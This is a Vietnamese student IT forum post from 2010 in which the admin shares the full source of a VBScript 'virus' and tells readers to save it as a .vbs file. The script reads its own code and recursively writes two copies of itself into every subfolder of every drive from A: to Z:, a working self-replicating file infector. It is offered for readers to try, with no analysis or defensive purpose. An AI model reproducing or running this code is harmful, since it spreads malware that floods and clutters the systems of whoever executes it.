---------------------------------------------------------

Chào mừng bạn đến với diễn đàn Công Nghệ Thông Tin CK08 Ca Mau Community College.
Hy vọng diễn đàn sẽ là nơi giao lưu học hỏi và chia sẽ niềm đam mê tri thức.
Chúc bạn một ngày an lành và vui vẻ và luôn thành công trong cuộc sống.
################################
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.


 
Trang ChínhTìm kiếmĐăng kýĐăng Nhập

 

 Day la code con virut viet bang Notepad

Go down 
Tác giảThông điệp
Admin
Administrotor
Administrotor
Admin

Tổng số bài gửi : 877
Join date : 24/07/2010

Day la code con virut viet bang Notepad Empty
Bài gửiTiêu đề: Day la code con virut viet bang Notepad   Day la code con virut viet bang Notepad Icon_minitimeWed Nov 10, 2010 7:27 pm


Cac ban nao thich ve Virut thi doc doan code nay roi tham khao co gi hay thi post len chia se nhe
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

SAVE LAI VOI DUOI .VBS
Về Đầu Trang Go down
https://cntt08.forumvi.com
 
Day la code con virut viet bang Notepad
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» [08012011][news]Big Bang "đánh bật" SNSD để trở thành siêu sao quảng cáo!
» [24012011][news]Seungri (Big Bang) 'sáng giá' hơn cả Justin Bieber và Justin Timberlake
» [16022011][News]20 ngôi sao nam và nữ của làng giải trí có tổng thu nhập lớn nhất từ các CF trong năm 2010
» [24022011][Pic]6 bài hát trong mini album của Big Bang chặt đẹp tất cả các bảng xếp hạng
» [01012011][News+Video]Big Bang đạt doanh số 100.000 bản trong chưa đầy 1 tuần, MV Tonight bản chính thức

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: Hacker - Virus :: Virus-
Chuyển đến